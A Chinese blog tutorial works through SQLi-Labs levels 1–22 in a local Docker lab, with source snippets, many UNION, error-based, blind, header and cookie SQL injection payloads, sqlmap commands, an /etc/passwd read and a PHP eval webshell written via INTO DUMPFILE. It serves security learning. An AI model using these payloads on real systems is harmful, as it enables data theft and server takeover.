注:这里引用自 lcamry 的前言,简单修改了一下,也比较符合自己的处境。

前言

  • 最初看到 SQLi-Labs 也是好几年之前了,依稀记得是在 2019 年,那时候玩了前面的几个关卡,就没有继续下去了。
  • 前几年又因为夯实基础,回头把 SQLi-Labs 刷完了,并写成文档放在了语雀上。
  • 最近因某种原因有需要用到 SQLi-Labs,所以翻出来看了一下。看着熟悉的代码,仿佛看着当初刚学安全的自己。
  • 当初学习安全老累了,网上能找到的资料并不多,不像现在这样的信息爆炸。前几天迪总为了打击盗版,还把自己的课公开了,以前哪有这种好事儿。大伙都是藏着掖着,也很正常,正所谓教会徒弟饿死师傅。
  • 最近也是脑门一热,决定在自己的教学生涯上留下点东西(或许糟粕或许精华),决定将通过攻略写到博客上,方便查看。
  • 本来还想着录课传 B 站,但近期课也多。其次,按照 B 站现在的视频数量,播放量堪忧,吃力不讨好。
  • 本篇文章主要是利用课余时间和工作之外时间来写的,时间会比较的仓促,同时个人实力有限,望各位批评指正。
  • 最后希望能对后面参考该文档的人有帮助,不枉此作。

为什么要写?

  • SQL 注入攻击并不是新的攻击手法,它最早出现在 1990 年代末,随着 Web 应用程序和在线数据库的广泛应用而出现。尽管安全研究人员和开发者们已经花费了大量的时间和资源来防止这种攻击,但是由于许多因素,包括开发人员的安全意识不足、复杂的代码库以及不断变化的攻击技术,SQL 注入仍然是一种常见且危险的攻击手法。
  • 现在我们还可以在各大 SRC 平台看见 SQL 注入的身影:

image-20231128145155832

  • 很多的人觉得 SQL 注入是如此的简单,同时大部分人都是眼高手低的。
  • SQL 注入的理解到底有多深,决定了你对此漏洞的利用方式有多么变幻莫测。
  • 当然了,SQL 注入涉及的内容非常非常之多,我感觉这个内容完结至少要写 10W+ 字。
  • 最后,以前的自己在学习 SQL 注入的时候真的太过于痛苦,大部分的人入门的时候通过 SQL 走进来。
  • 这也造就了一种现象:
    • 面试官:你熟悉哪些 Web 漏洞?
    • 面试者:SQL 注入!
    • 面试官:讲一讲 SQL 注入的原理、分类、修复方案。
    • 面试着:emmmmm,好像也不是很熟。
  • 同时,SQL 注入的世界真的很精彩,当你看到别人用智慧构成的 Payload 时,你会感触颇多。
  • 所有学习是什么?通过掌握所学,形成自己的漏洞理解和利用方法,而不是生搬硬套。
  • 此处希望通过该文档帮助到正在学习 SQL 注入的人。

如何去完成?

  • 平时工作也忙,不知道有没有时间和精力能够写完,毕竟写文档相对于录课来说会麻烦很多。
  • 借鉴 lcamry 大佬的思路,可以将其分为三个部分:
    • 源码分析:通过源码和手工的方式,将所有的注入方式和造成漏洞的原因找出来,并进行学习。此处要求是对每一个类型的注入进行“深刻”的了解,了解其原理和可能应用到的场景。
    • 工具使用:通过工具进行攻击,我们此处推荐使用 SQLmap。此过程中,了解 SQLmap 的使用方法,要求掌握 SQLmap 的流程和使用方法,精力较足的话,针对一些问题会附 SQLmap 的源码分析。
    • 自动化利用:自己实现自动化攻击,这一过程我们根据常见的漏洞,自己写脚本来进行攻击。此处推荐 Python 语言。同时 SQLi-Labs 系统是 PHP 写的,这里个人认为可以精读一下每关的源码,同时针对有些关卡,可以尝试着添加一些代码来增强安全性。

该怎么去学?

  • 大致可以分为如下三点,这也学习任何技术都需要的:
    • 动手实践:实践是检验真理的唯一标准,这句话可以应用在任何场景(除了益生菌,哈哈哈)。安装环境后动手实验,实践中遇到问题才能更大的激发起兴趣。
    • 查找资料:遇到不会查资料,或者可以请教别人,虚心请教,不耻下问,所谓三人行必有我师焉!
    • 努力勤奋:书山有路勤为径,学海无涯苦作舟,勤奋是最快的一条路也是唯一的一条路。

需要哪些能力?

  • SQL 注入毕竟是新手的第一道门槛,要求内容不多:
    • PHP 语法:了解简单的 PHP 语法,并会连接 MySQL 数据库;
    • HTTP 协议:了解 HTTP 请求与响应流程;
    • SQL 语法:了解 MySQL 增删改查的语法;
    • 常见工具使用:BurpSuiteHackbarProxyDocker/PhpStudy

准备工作

Firefox + Hackbar + Proxy

  • 毕竟是 Web 服务,还是需要有个浏览器的,之所以没写 Chrome 是因为,Chrome 的插件安装需要科学上网,比较麻烦。
  • Hackbar 安装可以参考文章:Hackbar 安装
  • Proxy 安装可以参考文章:BurpSuite & Firefox 代理配置

BurpSuite

SQLi-Labs

SQLi-Labs 介绍

  • SQLi-Labs 是一个用于学习和实践 SQL 注入攻击的靶场,旨在提供一个安全的环境,供安全研究人员、学生和开发人员进行 SQL 注入攻击和防御的实践。它包含了一系列具有不同难度级别的漏洞场景,以帮助用户逐步学习和理解 SQL 注入攻击的原理、技术和防御方法。
  • 以下是一些 SQLi-Labs 靶场的特点和介绍:
    • 漏洞场景SQLi-Labs 提供了多个漏洞场景,每个场景都涵盖了不同类型的 SQL 注入漏洞。这些场景包括基于 GETPOST 请求的注入、盲注、时间延迟注入等等。每个场景都有相应的漏洞描述、目标和任务。
    • 难度级别SQLi-Labs 提供了多个难度级别,从简单到复杂。初学者可以从简单的注入场景开始,逐渐提高难度,以提高对 SQL 注入攻击的理解和技能。
    • 安全环境SQLi-Labs 是为了学习和实践目的而设计的,提供了一个安全的环境来进行 SQL 注入攻击。用户可以在该环境中进行实验和测试,而不会对真实系统造成任何损害。
  • SQLi-Labs 是一个印度程序员老哥写的,博客地址为:https://dummy2dummies.blogspot.com/,以现在的眼光去看,博客稍微有点简陋。同时作者自己也录制了一套对应的演示视频,但口音有点奇怪,哈哈。
  • 个人接触的 SQLi-Labs 靶场有两个:

SQLi-Labs 安装

  • SQLi-Labs 搭建的几种方式:
    • 本地搭建:PhpStudy + SQLi-Labs
      • 好处:搭建快速,也不需要进行多么复杂的操作,基本相当于傻瓜式安装了。
      • 坏处:现在谁的服务还搭在 Windows(狗头),多熟悉熟悉 Linux 操作吧。
    • 虚拟机搭建:CentOS + BT + SQLi-Labs
      • 好处:这套搭建模式可以在云服务器上套用,也是个人安装博客的大致流程,重点宝塔自带有 PHP Xdebug 插件,可以进行动态代码调式,深入理解漏洞成因。
      • 坏处:搭建巨麻烦,没点基础安装不来。
    • Docker 搭建:Docker + SQLi-Labs
      • 好处:搭建极其快速,等同于一键启动。
      • 坏处:代码调试,极其麻烦(Win Docker + VScode 当我没说)
  • 这里使用 Docker 搭建:
1
docker run -itd --name sqli-lab -p 80:80 acgpiano/sqli-labs:latest
  • 修改下本地的 hosts 文件,避免后续 IP 地址变动:
1
2
3
4
5
6
7
8
9
10
11
root at kali in ~
$ vim /etc/hosts

root at kali in ~
$ cat /etc/hosts
127.0.0.1 localhost
127.0.1.1 kali
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
127.0.0.1 www.sqlilab.com
  • 如图所示(记得创建数据库):

image-20231128145234386

SQLi-Labs(Basic Challengs)

Less-1*

HTTP 请求方式 可注入类型 SQL 拼接方式
GET 联合、报错、盲注 id = '$id'
  • 源码简单分析:
1
2
# 单引号拼接
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
  • 一个非常简单的 SQL 查询语句,没有做任何的过滤直接拼接。
  • 第一关可尝试的 SQL 注入方式基本覆盖全了,这里主要演示一下联合/报错注入,后续相似的题型不会详述。

联合查询注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
# 判断闭合
?id=1'

# 页面报错,判断概率是单引号闭合,尝试闭合
?id=1' --+

# 判断查询列数
?id=1' order by 1 --+ # 正常
?id=1' order by 2 --+ # 正常
?id=1' order by 3 --+ # 正常
?id=1' order by 4 --+ # 报错

# 判断出是查询列数是三列,构造页面回显
?id=-1' union select 1,2,3 --+

# 判断当前数据库
?id=-1' union select 1,2,database() --+

# 查询所有数据库名
?id=-1' union select 1,2,group_concat(schema_name) from information_schema.schemata --+

# 查询 security 数据库中的所有表名
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = "security" --+

# 查询 users 表中的所有列名
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema = "security" and table_name = "users"--+

# 查询用户 id、username、password 字段数据
?id=-1' union select 1,2,group_concat(id,'-',username,'-',password) from users --+

报错注入

  • MySQL 中的报错函数有很多,依次尝试哪个能有就行,这里使用 updatexml 进行演示。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
# 判断闭合
?id=1'

# 页面报错,判断概率是单引号闭合,尝试闭合
?id=1' --+

# 由于页面出现了原始的报错信息,这里采用报错注入,构造报错语句查询当前数据库名
?id=-1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) # XPATH syntax error: '~security~'

# 由于报错注入对于输出的字符串有长度限制,所以这里使用 Limit 进行限制,查询所有数据库名
?id=-1' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e),1) --+ # XPATH syntax error: '~information_schema~'
?id=-1' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 1,1),0x7e),1) --+ # XPATH syntax error: '~challenges~'
?id=-1' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 2,1),0x7e),1) --+ # XPATH syntax error: '~mysql~'
?id=-1' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 3,1),0x7e),1) --+ # XPATH syntax error: '~performance_schema~'
?id=-1' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 4,1),0x7e),1) --+ # XPATH syntax error: '~security~'

# 查询 security 数据库中的所有表名
?id=-1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema = 'security' limit 0,1),0x7e),1) --+ # XPATH syntax error: '~emails~'
?id=-1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema = 'security' limit 1,1),0x7e),1) --+ # XPATH syntax error: '~referers~'
?id=-1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema = 'security' limit 2,1),0x7e),1) --+ # XPATH syntax error: '~uagents~'
?id=-1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema = 'security' limit 3,1),0x7e),1) --+ # XPATH syntax error: '~users~'

# 查询 users 表中的所有列名
?id=-1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema = 'security' and table_name = 'users' limit 0,1),0x7e),1) --+ # XPATH syntax error: '~id~'
?id=-1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema = 'security' and table_name = 'users' limit 1,1),0x7e),1) --+ # XPATH syntax error: '~username~'
?id=-1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema = 'security' and table_name = 'users' limit 2,1),0x7e),1) --+ # XPATH syntax error: '~password~'

# 查询用户 id、username、password 字段数据
?id=-1' and updatexml(1,concat(0x7e,(select username from users limit 0,1),0x7e),1) --+ # XPATH syntax error: '~Dumb~'
?id=-1' and updatexml(1,concat(0x7e,(select password from users limit 0,1),0x7e),1) --+ # XPATH syntax error: '~Dumb~'

# 若是字符长度超出了限制,可以进行截取
?id=-1' and updatexml(1,concat(0x7e,(substr((select group_concat(username) from users limit 0,1),1,10)),0x7e),1) --+

SQLMap

  • 这里可以使用 SQLMap 直接进行注入,命令如下:
1
2
root at kali in ~
$ sqlmap -u 'http://www.sqlilab.com/Less-1/?id=1' --technique=UE -v 0 --batch

Less-2

HTTP 请求方式 可注入类型 SQL 拼接方式
GET 联合、报错、盲注 id = $id
  • Less-1 利用方式一致,只是闭合方式不一样而已,这里不再阐述。

Less-3

HTTP 请求方式 可注入类型 SQL 拼接方式
GET 联合、报错、盲注 id = ('$id')
  • Less-1 利用方式一致,只是闭合方式不一样而已,这里不再阐述。

Less-4

HTTP 请求方式 可注入类型 SQL 拼接方式
GET 联合、报错、盲注 id = ("$id")
  • Less-1 利用方式一致,只是闭合方式不一样而已,这里不再阐述。

Less-5

HTTP 请求方式 可注入类型 SQL 拼接方式
GET 报错、盲注 id = '$id'
  • 源码简单分析:
1
2
3
4
5
6
7
$sql = "SELECT * FROM users WHERE id='$id' LIMIT 0,1";
......
if($row){
echo 'You are in...........';
}else {
print_r(mysql_error());
}
  • 查询成功后显示固定的字符串,这就导致不可以使用联合查询的注入方式,但是并不影响正常使用报错、布尔盲注和延时盲注。
  • Less-1 利用方式一致,可以参考报错注入,这里不再阐述。

Less-6

HTTP 请求方式 可注入类型 SQL 拼接方式
GET 报错、盲注 id = "$id"
  • Less-1 利用方式一致,只是闭合方式不一样而已,可以参考报错注入,这里不再阐述。

Less-7

HTTP 请求方式 可注入类型 SQL 拼接方式
GET 盲注 id = (('$id'))
  • 源码简单分析:
1
2
3
4
5
6
7
8
$sql = "SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";
.....
if($row){
echo 'You are in.... Use outfile......';
}else {
echo 'You have an error in your SQL syntax';
//print_r(mysql_error());
}
  • Less-5 不同之处在于将原始报错信息改为了固定报错信息,所以就不可以使用报错注入了,这个时候只能使用布尔盲注和延时盲注,后续相似的题型不会阐述。

布尔盲注

  • 布尔盲注非常的麻烦,一般是采用如 SQLMap 的自动化工具或 BurpSuite 的半自动工具,这里只做当前库名的演示。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
# 判断闭合
?id=1'

# 页面报错,判断概率是单引号闭合,尝试闭合
?id=1' --+

# 闭合失败,这关的闭合比较奇怪,正常没有人会这么写
?id=1')) --+

# 构造布尔盲注语句
?id=1')) and 1=1 --+ # 页面正常
?id=1')) and 1=2 --+ # 页面报错

# 判断当前数据库长度
?id=1')) and substr(length(database()),1,1)>5 --+ # 页面正常
?id=1')) and substr(length(database()),1,1)<10 --+ # 页面正常
?id=1')) and substr(length(database()),1,1)=8 --+ # # 页面正常

# 判断当前数据库名称
?id=1')) and substr(database(),1,1)='s' --+
?id=1')) and substr(database(),1,2)='se' --+
?id=1')) and substr(database(),1,3)='sec' --+
?id=1')) and substr(database(),1,4)='secu' --+
?id=1')) and substr(database(),1,5)='secur' --+
?id=1')) and substr(database(),1,6)='securi' --+
?id=1')) and substr(database(),1,7)='securit' --+
?id=1')) and substr(database(),1,8)='security' --+

时间盲注

  • 时间盲注更加的麻烦,一般是采用如 SQLMap 的自动化工具或 BurpSuite 的半自动工具,这里只做当前库名的演示。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
# 判断闭合
?id=1'

# 页面报错,判断概率是单引号闭合,尝试闭合
?id=1' --+

# 闭合失败,这关的闭合比较奇怪,正常没有人会这么写
?id=1')) --+

# 构造时间盲注语句
?id=1')) and sleep(4) --+

# 判断当前数据库长度
?id=1')) and if(substr(length(database()),1,1)>5,sleep(3),1) --+
?id=1')) and if(substr(length(database()),1,1)<10,sleep(3),1) --+
?id=1')) and if(substr(length(database()),1,1)=8,sleep(3),1) --+=

# 判断当前数据库名称
?id=1')) and if(substr(database(),1,1)='s',sleep(3),1) --+
?id=1')) and if(substr(database(),1,2)='se',sleep(3),1) --+
?id=1')) and if(substr(database(),1,3)='sec',sleep(3),1) --+
?id=1')) and if(substr(database(),1,4)='secu',sleep(3),1) --+
?id=1')) and if(substr(database(),1,5)='secur',sleep(3),1) --+
?id=1')) and if(substr(database(),1,6)='securi',sleep(3),1) --+
?id=1')) and if(substr(database(),1,7)='securit',sleep(3),1) --+
?id=1')) and if(substr(database(),1,8)='security',sleep(3),1) --+

文件读写

  • 虽然可以使用盲注完成,但本关的标题是 dump into outfile,意思是本关我们利用文件导入的方式进行注入。
  • 命令如下:

注:虽然说不能进行联合查询注入,但是文件读写也只有在联合查询注入下才能完成。

1
2
3
?id=1')) union select 1,2,load_file('/etc/passwd') --+ # 读取 /etc/passwd 文件,不回显没啥用

?id=1')) union select 1,2,'<?php @eval($_REQUEST[1]);echo 404;?>' into dumpfile '/var/www/html/shell.php' --+ # 作者的镜像有点问题,目录权限不对
  • 权限问题解决:
1
2
3
# 进入容器
docker exec -it sqli-lab /bin/bash
chown -R mysql:mysql /var/www/*

image-20231128150449582

SQLMap

  • 这里可以使用 SQLMap 直接进行注入,命令如下:
1
2
root at kali in ~
$ sqlmap -u 'http://www.sqlilab.com/Less-7/?id=1' --technique=BT -v 0 --batch
  • 也可以使用 SQLMap 进行文件写入:
1
2
root at kali in ~ 
$ sqlmap -u 'http://www.sqlilab.com/Less-7/?id=1' --file-write ./xixi.txt --file-dest /var/www/html/xixi.txt

Less-8

HTTP 请求方式 可注入类型 SQL 拼接方式
GET 盲注 id = '$id'
  • 源码简单分析:
1
2
3
4
5
6
7
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
.....
if($row){
echo 'You are in...........';
}else {

}
  • Less-7 不同之处在于查询成功不返回字符串了,利用方式一致,只是闭合方式不一样而已,这里不再阐述。

Less-9

HTTP 请求方式 可注入类型 SQL 拼接方式
GET 时间盲注 id = '$id'
  • 源码简单分析:
1
2
3
4
5
6
7
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
.....
if($row){
echo 'You are in...........';
}else {
echo 'You are in...........';
}
  • Less-7 不同之处在于不论查询成功或者失败都是返回同样的字符串,所以就不可以使用布尔盲注了,可以参考时间盲注,这里不再阐述。

Less-10

HTTP 请求方式 可注入类型 SQL 拼接方式
GET 时间盲注 id = "$id"
  • Less-9 利用方式一致,只是闭合方式不一样而已,这里不再阐述。

Less-11

HTTP 请求方式 可注入类型 SQL 拼接方式
POST 联合、报错、盲注 username = '$uname'
  • 源码简单分析:
1
2
3
4
5
6
7
8
9
10
11
$uname=$_POST['uname'];
$passwd=$_POST['passwd'];
.....
$sql = "SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
.....
if($row){
echo 'Your Login name:'. $row['username'];
echo 'Your Password:' .$row['password'];
}else {
print_r(mysql_error());
}
  • 一个简单的后端接收的 PHP 代码,和 Less-1 不同之处在于由 GET 型变成了 POST 型。

万能密码

  • 由于这里涉及到用户登录,所以可以尝试万能密码:

注:万能密码种类很多,这里只简单写几个。

1
2
3
4
5
6
7
8
# 已知用户,不知密码
admin ' or 1=1 --

# 不知用户,不知密码
' or 1=1 or 1=1 --

# 不知用户,已知密码,这类型少见,因为密码都是会被 HASH 的
' or 1=1 --

注:这是一个 POST 型注入,表单提交时会自动进行 URL 编码。

SQLMap

  • 这里可以使用 SQLMap 直接进行注入,有以下三种方式:
    • -r:指定 HTTP Response 文件;
    • --data:指定 HTTP 请求体数据内容;
    • --form:寻找表单提交参数。
  • 命令如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
root at kali in ~
$ sqlmap -r url.txt -v 0 --batch

root at kali in ~
$ sqlmap -u 'http://www.sqlilab.com/Less-11/' --data 'uname=admin&passwd=2333&submit=Submit' -v 0 --batch

root at kali in ~
$ sqlmap -u 'http://www.sqlilab.com/Less-11/' --form -v 0
......
[1/1] Form:
POST http://www.sqlilab.com/Less-11/
POST data: uname=&passwd=&submit=Submit
do you want to test this form? [Y/n/q]
>
Edit POST data [default: uname=&passwd=&submit=Submit] (Warning: blank fields detected): uname=admin&passwd=2333&submit=Submit

Less-12

HTTP 请求方式 可注入类型 SQL 拼接方式
POST 联合、报错、盲注 username = ("$uname")
  • 和 Less-11 利用方式一致,只是闭合方式不一样而已,这里不再阐述。

Less-13

HTTP 请求方式 可注入类型 SQL 拼接方式
POST 报错、盲注 username = ('$uname')
  • 源码简单分析:
1
2
3
4
5
6
7
8
9
10
$uname=$_POST['uname'];
$passwd=$_POST['passwd'];
.....
$sql="SELECT username, password FROM users WHERE username=('$uname') and password=('$passwd') LIMIT 0,1";
.....
if($row){

}else {
print_r(mysql_error());
}
  • 因为没有输出查询后的信息的原因,所以相对于 Less-11 来说就少了联合查询的注入方式,这里不再阐述。

Less-14

HTTP 请求方式 可注入类型 SQL 拼接方式
POST 报错、盲注 username = "$uname"
  • Less-13 利用方式一致,只是闭合方式不一样而已,这里不再阐述。

Less-15

HTTP 请求方式 可注入类型 SQL 拼接方式
POST 盲注 username = '$uname'
  • 源码简单分析:
1
2
3
4
5
6
7
8
9
10
$uname=$_POST['uname'];
$passwd=$_POST['passwd'];
.....
$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
.....
if($row){

}else {

}
  • 相较于 Less-13 将报错信息也给注释了,所以相对于 Less-13 来说就少了联合查询的注入方式,这里不再阐述。

Less-16

HTTP 请求方式 可注入类型 SQL 拼接方式
POST 报错、盲注 username = ("$uname")
  • Less-15 利用方式一致,只是闭合方式不一样而已,这里不再阐述。

Less-17

HTTP 请求方式 可注入类型 SQL 拼接方式
POST 报错、盲注 password = '$passwd'
  • 源码简单分析:
1
2
3
4
5
6
7
8
9
10
11
12
$uname=check_input($_POST['uname']);  
$passwd=$_POST['passwd'];
...
$sql="SELECT username, password FROM users WHERE username= $uname LIMIT 0,1";
...
$update="UPDATE users SET password = '$passwd' WHERE username='$row1'";
...
if (mysql_error()){
print_r(mysql_error());
}else{
//echo " You password has been successfully updated " ;
}
  • select 语句只查询了 uname 参数,但是被 gpc 过滤了。
  • 而后发现 update 语句使用单引号拼接了 passwd,但因为没有打印数据所以不能使用联合查询注入。
  • 因为输入了报错日志,所以是可以进行报错注入的,前提是账号存在的情况。

报错注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# 判断闭合
uname=admin&passwd=123 ' &submit=Submit # 页面报错

# 页面报错,判断大概率是单引号闭合,尝试闭合
uname=admin&passwd=123 ' -- &submit=Submit

# 由于页面出现了原始的报错信息,这里采用报错注入,构造报错语句查询当前数据库名
uname=admin&passwd=123 ' and updatexml(1,concat(0x7e,(select database()),0x7e),1) -- &submit=Submit # XPATH syntax error: '~security~'

# 由于报错注入对于输出的字符串有长度限制,所以这里使用 Limit 进行限制,查询所有数据库名
uname=admin&passwd=123 ' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e),1) -- &submit=Submit # XPATH syntax error: '~information_schema~'
uname=admin&passwd=123 ' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 1,1),0x7e),1) -- &submit=Submit # XPATH syntax error: '~challenges~'
uname=admin&passwd=123 ' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 2,1),0x7e),1) -- &submit=Submit # XPATH syntax error: '~mysql~'
uname=admin&passwd=123 ' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 3,1),0x7e),1) -- &submit=Submit # XPATH syntax error: '~performance_schema~'
uname=admin&passwd=123 ' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 4,1),0x7e),1) -- &submit=Submit # XPATH syntax error: '~security~'

# 后续和 Less-1 的类似不在演示

SQLMap

  • 这里可以使用 SQLMap 直接进行注入,命令如下:
1
2
root at kali in ~
$ sqlmap -u 'http://www.sqlilab.com/Less-17/?id=1' --data 'uname=admin&passwd=123&submit=Submit' -p passwd --technique=E -v 0 --batch

Less-18*

HTTP 请求方式 可注入类型 SQL 拼接方式
POST 报错、盲注 VALUES ('$uagent')
  • 源码简单分析:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# 获取请求的 uagent 和 ip 地址
$uagent = $_SERVER['HTTP_USER_AGENT'];
$IP = $_SERVER['REMOTE_ADDR'];

if 输入了uname 和 passwd:

# 对这两个参数进行过滤
$uname = check_input($_POST['uname']);
$passwd = check_input($_POST['passwd']);

$sql="SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";

if SQL语句有返回结果:
# 执行 insert 语句 这里 uagent 和 ip_address 通过单引号拼接 并且 没有过滤
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
echo $uagent;
print_r(mysql_error());
else:
print_r(mysql_error());
  • 这个代码漏洞点出在了 insert 语句,这里没有对 uagentip_address 进行过滤,并且输出了 mysql 的报错信息。
  • 这里的 IP 是无法被伪造的,这里只能通过修改 user-agent 来进行注入,考虑到 insert 语句的特殊性,这里使用闭合方式来闭合掉后面的语句,因为输出了 mysql 报错日志了,这里尝试报错注入效率会更高一点:

注:只能使用 and ‘1’=’1,不能用注释,注释会把后面的语句删除导致报错。

1
2
3
User-Agent: 1' and  '1'='1
User-Agent: 1' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) and '1'='1
User-Agent: 1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) and '1'='1
  • Less-17 利用方式一致,只是闭合方式不一样而已,这里不再阐述。

Less-19

HTTP 请求方式 可注入类型 SQL 拼接方式
POST 报错、盲注 VALUES ('$uagent')
  • Less-18 利用方式一致,只是这里的漏洞点出在了 referer 里面,这里不再阐述。

Less-20

HTTP 请求方式 可注入类型 SQL 拼接方式
POST 联合、报错、盲注 username = '$cookee'
  • 源码简单分析:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
if cookie 中不存在 uname 参数:  
输出了一堆无用的信息
if 提交了 uname 和 passwd:
# 进行过滤
$uname = check_input($_POST['uname']);
$passwd = check_input($_POST['passwd']);

$sql="SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
$cookee = $row1['username'];
if 有查询结果:
# 将 uname 的值设置给 cookie 里面的 uname 参数
setcookie('uname', $cookee, time()+3600);
else:
print_r(mysql_error());

else:
if POST 数据里面没有 submit 参数:
$cookee = $_COOKIE['uname'];

# 直接将 cookee 通过单引号拼接到 SQL 语句中
$sql="SELECT * FROM users WHERE username='$cookee' LIMIT 0,1";
if 查询无结果:
输出 mysql_error()
if 有结果:
输出查询的信息
else:
# 将 uname 的值设置给 cookie 里面的 uname 参数
setcookie('uname', $row1['username'], time()-3600);
  • cookie 中读取的 uname 参数值 并直接拼接到了 SQL 语句中了,这就导致了注入点的产生,并且还输出了查询信息,所以这里是可以进行联合查询注入的:
1
Cookie: uname=-admin' union select 1,2,database() --+
  • Less-1 利用方式一致,这里不再阐述。

SQLMap

  • 这里可以使用 SQLMap 直接进行注入,命令如下:
1
2
root at kali in ~
$ sqlmap -u 'http://www.sqlilab.com/Less-20/' --cookie 'uname=*' -v 0 --batch

Less-21

HTTP 请求方式 可注入类型 SQL 拼接方式
POST 联合、报错、盲注 username = ('$cookee')
  • 简单的源码分析:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
if cookie 中不存在 uname 参数:  
输出了一堆无用的信息
if 提交了 uname 和 passwd:
# 进行过滤
$uname = check_input($_POST['uname']);
$passwd = check_input($_POST['passwd']);

$sql="SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
if 有查询结果:
# 将 uname 的值设置给 cookie 里面的 uname 参数
setcookie('uname', base64_encode($row1['username']), time()+3600);
else:
print_r(mysql_error());

else:
if POST 数据里面没有 submit 参数:
$cookee = $_COOKIE['uname'];

# 对 cookee 进行 base64 解密
$cookee = base64_decode($cookee);

# 直接将 cookee 通过单引号拼接到 SQL 语句中
$sql="SELECT * FROM users WHERE username='$cookee' LIMIT 0,1";
if 查询无结果:
输出 mysql_error()
if 有结果:
输出查询的信息
else:
# 将 uname 的值设置给 cookie 里面的 uname 参数
setcookie('uname', $row1['username'], time()-3600);
  • 从源码中分析可得,和 Less-20 基本上是一毛一样,只是 Cookie 这里是经过 base64 加密的,所以我们只需要传入加密后的 payloadcookieuname 即可。
1
2
3
4
5
# 编码前
Cookie: uname=-admin') union select 1,2,database() --

# 编码后
Cookie: uname=LWFkbWluJykgdW5pb24gc2VsZWN0IDEsMixkYXRhYmFzZSgpIC0tIA==
  • Less-1 利用方式一致,这里不再阐述。

SQLMap

  • 这里可以使用 SQLMap 直接进行注入,命令如下:
1
2
root at kali in ~
$ sqlmap -u 'http://www.sqlilab.com/Less-20/' --cookie 'uname=*' --tamper base64encode -v 0 --batch
  • sqlmap 本身不会混淆发送的 payload,混淆 payload 的话可以使用 sqlmap 自带的 payload 库。

Less-22

HTTP 请求方式 可注入类型 SQL 拼接方式
POST 联合、报错、盲注 username = "$cookee"
  • Less-21 利用方式一致,只是闭合方式不一样而已,这里不再阐述。